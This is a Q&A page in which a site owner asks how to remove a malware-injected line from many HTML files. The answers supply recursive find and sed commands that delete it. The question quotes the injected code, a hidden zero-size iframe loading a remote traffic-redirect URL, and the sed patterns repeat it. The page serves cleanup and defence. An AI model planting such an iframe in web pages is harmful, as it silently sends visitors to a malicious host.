Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

I need to remove a line from multiple files

A malware has attacked my server and added the line

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>

to many of my pages

how can i remove it with grep or if there is any other way i can remove it from all the files it affected

Edit: I saw the comments about using sed, but I need a recursive solution, if there is one

thanks

like image 239
Wael Awada Avatar asked Dec 19 '25 23:12

Wael Awada


2 Answers

You can use find and sed to recursively find all files of interest and remove the offending line from them.

For example, the following command would remove the offending line from all .html files from the current directory and all its sub-directories.

find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;
like image 59
Susam Pal Avatar answered Dec 21 '25 13:12

Susam Pal


You can use sed to do replacement in files. Something like

$ sed -i.bak 's|<iframe src="http://pokosa.com.*</iframe>||' your-file

should do it for a single file. People traditionally use / as the separator, but that becomes cumbersome when you have many /s in your search string. Using | is easier then.

Combine sed with find and xargs to do the same for multiple files:

$ find /var/www -name "*.html" -print0 | xargs -0 sed -i.bak 's|<iframe ...>||'
like image 44
Martin Geisler Avatar answered Dec 21 '25 12:12

Martin Geisler